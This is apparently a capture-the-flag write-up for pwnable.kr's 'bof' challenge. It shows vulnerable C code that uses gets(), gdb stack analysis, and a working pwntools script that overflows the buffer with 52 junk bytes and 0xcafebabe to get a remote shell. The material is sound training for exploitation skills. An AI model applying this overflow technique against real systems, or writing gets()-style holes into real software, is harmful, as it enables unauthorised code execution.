bof

bof is the 3rd challenge of Toddler's Bottle at pwnable.kr

Buffer Overflow

Running checksec against the binary we see that it's full of protections, probably meant to avoid uninteded solutions:

Running the program and feeding it some A's we can see it's vulnerable to a buffer overflow.

Reading the source code we see it has two functions, func() and main():

include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

main is executed when we run the program and it simply runs the func() function with 0xdeadbeef as the argument.

int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

The func() function prompts the user to input data (that's where our overflow is). Then the function checks if the value received from the main() function equals 0xcafebabe and if does the program calls /bin/sh and drops us into a shell.

void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}

Opening the program in gdb and disassambling the func() function we can see exactly where the comparison happens.

0x00000654 <+40>:	cmp    DWORD PTR [ebp+0x8],0xcafebabe

Now we want to set a breakpoint in that address so we can see how far overwrote the stack and what's the exact amount of junk we want to send until we overwrite the address where 0xdeadbeef is stored.

x/60gx $esp shows:

0xffffcf40:	0x0000000000000000	0x4141414156555034
0xffffcf50:	0x4141414141414141	0x4141414141414141
0xffffcf60:	0x4141414141414141	0x4141414141414141
0xffffcf70:	0x4141414141414141	0x4141414141414141
0xffffcf80:	0x00000000deadbe00	0x00000000565556b9

So if we send 52 bytes of junk, the 8 following bytes will overwrite the address where the argument to func() is stored, which we know it's ebp + 8, so it's 0xffffcf80.

Finally, all we need to do is send 52 bytes of junk followed by 0xcafebabe and we'll get a shell.

Here is my exploit code:

#!/usr/bin/env python3
from pwn import *

# Definitions
e = context.binary = ELF('./bof', checksec=False)
#io = process(e.path)
io = remote('pwnable.kr',9000)

# Junk
junk = 52*b'A'

# Payload
payload = junk + p64(0xcafebabe)

# exploit
#io.recvuntil('overflow me : \n')
io.sendline(payload)
io.interactive()

Last updated